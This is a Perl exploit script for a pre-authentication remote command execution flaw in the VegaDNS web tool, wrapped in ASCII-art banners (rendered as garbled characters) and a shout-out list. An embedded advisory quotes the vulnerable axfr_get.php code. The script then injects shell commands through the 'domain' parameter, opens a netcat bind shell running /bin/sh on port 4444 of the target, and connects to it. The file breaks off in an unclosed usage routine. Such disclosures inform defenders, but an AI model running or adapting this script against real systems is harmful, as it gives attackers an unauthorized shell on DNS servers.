#!/usr/bin/perl
$izd= qq{
โโโโโโโโโโโโโโ โโโโโโโ โโโ โโโโโโ โโโโโโโ โโโโโโโ โโโโโโโ โโโโโโโ
โโโโโโโโโโโโโโ โโโโโโโโ โโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โโโ โโโโโ โโโ โโโโโโโโโ โโโโโโโโโโโ โโโ โโโโโโโโโโโโโโ โโโโโโโโโโโ
โโโ โโโโโ โโโ โโโโโโโโโโโโโโโโโโโโโ โโโ โโโโโโโโโโโโโโ โโโโโโโโโโ
โโโโโโโโโโโโโโโโโโโโโโโ โโโโโโโโโ โโโ โโโโโโโโโโโ โโโโโโโโโโโโโโโ
โโโโโโโโโโโ โโโโโโโ โโโ โโโโโโโโ โโโ โโโโโโโ โโโ โโโ โโโโโโโ โโโ
};$vg=qq{
โ โโโโ โโโโโโโ
โโ โโ โโโโโ โโโโโโโโโโโโโโ
โโโ โโโโ โโโ โโโ โ โโโโโ โโโโโโโโโโโโโ
โ โ โโโ โโโ โโโโ โโโโโโโโโโโ
โโโโโ โโโโโ โโโโ โโโโโโโโโโโโโ
โโโโโโโ โโโโโ โโโโโ โโโ โโโโโโโโโโโโโ โโโโโโโโโโ
โ โโโโโโ โโโโ โโโโ โโ โโโ โโโโโโโโโโโ โโโโโ
โ โ โโ โโโ โโโโโโโ โโโโโ โโโโ โโโ
โโ โโโ โโโโโโ โโโโโ โโโโ โโโ โโโโโ โโ
โโโโโ โโโ โโโโ โโโโโโโโโโ โโโโโโโโโโ โ โโโโ
โโโโโโ โโโโ โโโโโโโโโโโโโโโโโโโโโโโโโโโโ โ โโโโโโโ
โโโ โโโโโโโโโโโโโ โโโโโโโโโโโ โโโ โโโโโโโโ โโโ
โโโโ โโโโโโโ โโโโโโโโโโโโโโโโโโโโ โโ โ โโโโโโ โโ
โโโโโโโ โโ โโโโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโ โโ
โโ โโโโโ โโโ โโโโโโโ โโโ โโโโโโโ โ โโโโโโ โ โ
โโโโโโโโโโโโโ โโโ โโโโโโ โ โโโโโ โโโโโ โ โโ
โโโโโโโโโโ โโโโโโโโโโโโ โ โโโโโ โ โโโ
โโโโโโโ โ โโโโโโโโโโโโโโ โโโโโโโโ โโโโโ โโโโโ
โโโโโโโโโโ โโโโโโโโโโโ โโโโโโโโโโโโโโโโ โโโโโโ
โโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โโโโโโ โโโโโ โโโโโโโโโโโโโโโโโโโโโโโโโโโ
โโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โโโโ โ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โโโโโโโโโโโโโโโโโโโโโโโ โ
โโโโโโโโโโโโโโโโโโ โ โ โ โโ
โโโโโโโโโโโโโโโโโโโ โโโ โโโโโ
โโโโโโโโโโโโโโโโโโโโโโโโโ โโโโโโโ
โโโโ โโโโโโโโโโโโโโโโโโโโโโ โ โโโโ
โโโโโโโโโโโโโโโโโโโโโโโโโโโ โ โ โโโโ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโ โ โโ โ โโ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ โ โโโโ โโ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ โ โโโโ โโโ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ โโโโ โโโโ โโโ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ โโโโ โโ
โโโโโโ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโ โ โโโโ โโโ
โโโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโโ โ โโโโ โโโ
โโโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโโ โ โโโโ โโโ
โ โโโโโโโโโโโโโโ โโโโ โโโโโโโโโโโโ โ โ โ โโโโ
โโโโโโโโโโโโโโโโโ โโโโโโโโโโโ โโโ โโโโโโ
โ โโโโโโโโโโโโโโ โโ โ โโโโโ
โ โ โโโ โโโโโโโโ
โ โ โ โโโโโโโโโโโโโโโโโโ
โ โโโ โโโโโโโ โโโโโ โโ
โโโ โโโโโโโโโ โ โโโ โ
โ โโโโ โโโโโโโ โโ โ
โโโโโโ โโโโโโ โโ โ โ
โโโโโโ โโโโโโโโ โ โ โ โ
โโโโโโโโโโโโโโโโโ โ โโ โ
โโโโโโโโโโโโโโโโ โ โโโโโโโ
โโโโโโโโโโโโโโโโโโ โโโโโโโโโโโโโ
โโโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโ
โโโโโโโโโโโโโโโโ โโโโโโโโโโโโโ
โโโโโโโโโโโโ
โโโโโโโโโโโ
โโโโโโโโโโโโโโโ
โโโโโโโโโโโโโโโ
};$b=qq{
โโโ โโโโโโโโโโโ โโโโโโโ โโโโโโ โโโโโโโ โโโโ โโโโโโโโโโโ
โโโ โโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโ
โโโ โโโโโโโโโ โโโ โโโโโโโโโโโโโโโ โโโโโโโโโ โโโโโโโโโโโ
โโโโ โโโโโโโโโโ โโโ โโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโโโ
โโโโโโโ โโโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโ โโโโโโโโโโโโโโ
โโโโโ โโโโโโโโ โโโโโโโ โโโ โโโโโโโโโโ โโโ โโโโโโโโโโโโโ
โโโโโโโ โโโโโโโโโโโโ โโโโ โโโโโโโ โโโโโโโโโโโโโโโโโ
โโโโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โโโโโโโโโโโโโโ โโโโโโโโโโโโโโ โโโ โโโ โโโโโโ
โโโโโโโโโโโโโโ โโโโโโโโโโโโโโ โโโ โโโ โโโโโโ
โโโ โโโโโโโโโโโโโโ โโโ โโโโโโโโโโโโ โโโ โโโโโโโโ
โโโ โโโโโโโโโโโโโโ โโโ โโโโโโโ โโโ โโโโโโโโ
โโโโโโโโโโโ โโโโโโโโโโ โโโ โโโโโโโ โโโโโโโโโโโโ โโโโโโโ โโโ โโโ
โโโโโโโโโโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโโ โโโโ
โโโโโโ โโโโโโ โโโโโโโโโโโ โโโ โโโโโโ โโโ โโโโโโโโ โโโโโโโ
โโโโโโ โโโโโโ โโโโโโโ โโโ โโโ โโโโโโ โโโ โโโโโโโโ โโโโโ
โโโโโโโโโโโโ โโโโโโ โโโโโโโโโโโโโโโโโโโโ โโโ โโโโโโโโ โโโ
โโโโโโโโโโโ โโโโโโ โโโโโโโโ โโโโโโโ โโโ โโโ โโโโโโโ โโโ
โ
โโโ โโโโ
โโโโโ โโโโ
โโโโ โโโโ
โโโโ โโโโโ
โโโโโ โโโโโ
โโโโโ โโโโโ
โโโโโ โโโโโ
โโโโโ โโโโโโ
โโโโโ โโโโโ
โโโโโ โโโโ
โโโโ โโโโ
โโโโ โโโโ
โโโโ โโโโ
โโโโโโโโโโโโ โโโโโโโโโโโโ
โโโโ โโโโโโโโโโโ โโโโโโโโโโโ โโโ
โโโโโโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโโโโ
โโโโโโโโโ โโโ โโโ โโโโโโโโโ
โโโ โโโ โโโ โโโ
โโโ โโ โ โโ โโโ
โโ โ โโ โ โ โโ โโ โ โโโ โโ โโ
โ โโโ โโโ โโ โโโโ โโ โโโโ โโโ โ
โโ โโโโโโโ โโโโโโโโโโโโ โโโโโโโโ โโ
โโ โโโ โโโ โโ
โโ โ โโ โ โ โโ
โโโโ โโโ โโ โ โ โโ โโโ โโโ
โโโโโโโโโโโโโ โโ โ โ โ โ โ โโโโโโโโโโโโโ
โโโ โ โโโ โ โ โโโ โ โโ
โโ โโโโโโ โ โ โ โ โโ โ โโโโโโ โโ
โโโโโโ โโโโโ โ โโ โโ โ โโโโ โโโโโโ
โโ โ โโโโโ โโโโโ โ โโ
โ โโ
___ .___ .______ ._______._____ .___.__ ._______ .____ .___
.___ | |: __|: __ \ : .____/:_ ___\ : | \ : .___ \ | |___ | |
: | /\| || : || \____|| : _/\ | |___| : || : | || | || |
| |/ : || || : \ | / \| / || . || : || : || |/\
| / || || |___\|_.: __/|. __ ||___| | \_. ___/ | || / \
|______/|___||___||___| :/ :/ |. | |___| :/ |. _____/ |______/
: : :/ : :/
: : :
};$g=qq{
โโโโโโโ โโโโโโโ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โโโโโโโโ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โโโ โโโโโโโโโโโโโโโโโโ โโโโโโ โโโ โโโโโ
โโโ โโโโโโโโโโโโโโโโโ โโโโโโ โโโ โโโโโ
โโโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโ โโโ โโโโโโโโ
โโโโโโโ โโโ โโโโโโโโโโโโโโโโโโโ โโโ โโโโโโโโ
To all the people with mad skills who share their knowledge:
TecR0c, mr_me, action_dk, bcoles, TheColonial, jduck, hdmoore, rgod, TESO,
mdowd, kernelpool, silviocesare, egyp7, w00 w00, felinemenace, corelan,
lgandx, _sinne3r, alexsotirov, fjserna, solardiz, l0pth, cDc, therealsaumil,
laughing_mantis, g0tm1k, nmrc, and many many more....
};$a=qq^
โโโโโโ โโโโ โโโ โโโโโโ โโโ โโโ โโโโโโโโโโโโโโโโโโโโโโ
โโโโโโโโโโโโโ โโโโโโโโโโโโโโ โโโโ โโโโโโโโโโโโโโโโโโโโโโโ
โโโโโโโโโโโโโโ โโโโโโโโโโโโโโ โโโโโโโ โโโโโโโโโโโโโโโโโโโ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโ โโโโโ โโโโโโโโโโโโโโโโโโโ
โโโ โโโโโโ โโโโโโโโโ โโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโ
โโโ โโโโโโ โโโโโโโโ โโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโl
VegaDNS is a tinydns administration tool written in PHP to allow easy
administration of DNS records through a web browser.
-- http://www.vegadns.org
The file axfr_get.php allows unauthenticated access and fails to correctly
apply input escaping to all variables that is based on user input. This
allows an attacker to inject shell syntax constructs to take control of the
command execution.
The following code from axfr_get.php shows how the variable $file becomes
tainted trough the $domain variable which is tainted from direct user input.
The application tries to prevent this by escaping the $domain and $hostname
variables, but fails to escape the $file variable.
---------------------------cut---------------------------
* NOTE:
* This functionality ONLY exists outside of the main application
* because tcplient kept dying fatally due to file descriptor 7
* being unavailable, which only occurs AFTER session_start() is
* called.
*
*/
require_once 'src/config.php';
// CHECKS
// Make sure the hostname was given
if(!isset($_REQUEST['hostname']) || $_REQUEST['hostname'] == "") {
echo "ERROR: no hostname given\n";
exit;
}
// Make sure that some domains were given
if(!isset($_REQUEST['domain']) || $_REQUEST['domain'] == "") {
echo "ERROR: no domain was supplied\n";
exit;
}
$domain = $_REQUEST['domain'];
$hostname = $_REQUEST['hostname'];
$rand = rand();
$file = "/tmp/$domain.$rand";
$command = "$dns_tools_dir/tcpclient -R '".escapeshellcmd($hostname)."' 53 $dns_tools_dir/axfr-get '".escapeshellcmd($domain)."' $file $file.tmp 2>&1";
exec($command, $out);
---------------------------end---------------------------
โโโโโโโโโโโ โโโโโโโโโโ โโโ โโโโโโโ โโโโโโโโโโโโ
โโโโโโโโโโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโโโ
โโโโโโ โโโโโโ โโโโโโโโโโโ โโโ โโโโโโ โโโ
โโโโโโ โโโโโโ โโโโโโโ โโโ โโโ โโโโโโ โโโ
โโโโโโโโโโโโ โโโโโโ โโโโโโโโโโโโโโโโโโโโ โโโ
โโโโโโโโโโโ โโโโโโ โโโโโโโโ โโโโโโโ โโโ โโโ
^;
print "$izd\n"." " x 17 . "VegaDNS pre-auth RCE exploit by \@Wireghoul\n";
print " "."=" x 50 ."[justanotherhacker.com]==\n";
&usage if ($ARGV[0] !~ m!.+://([^/:]+)!);
$h=$1;
print " . . . Locating netcat\n";
$cmd='which+nc';
$t=$ARGV[0]."/axfr_get?hostname=izunadrop&domain=%3b$cmd%3bagev";
$z=`curl -s -k '$t'`;
if ($z !~ m{/nc}) {
print " ! ! ! netcat not found! Manual exploitation required:\n";
print " $ARGV[0]/axfr_get?hostname=izunadrop&domain=%3bCMD%3b\n";
exit 1;
}
print " . . . netcat found: $z\n";
print " . . . Performing IZUNA DROP!\n";
# โ ยท โ ยท โ ยท โ ยท โ ยท โ ยท โ ยท โ
print " โ โ โ *k* โ โ *p*\n";
$cmd="$z+-e+/bin/sh+-lp+4444";
$t=$ARGV[0]."/axfr_get?hostname=izunadrop&domain=%3b$cmd%3bagev";
$z=`curl -m 3 -s -k '$t &'`;
print $vg."\n";
print " . . . K.O ! ! ! Connecting to bindshell on $h port 4444\n";
system("nc -v $h 4444");
sub usage { print "Usage $0 http://host/path/to/vegadns\n\n$ARGV[0]"; exit;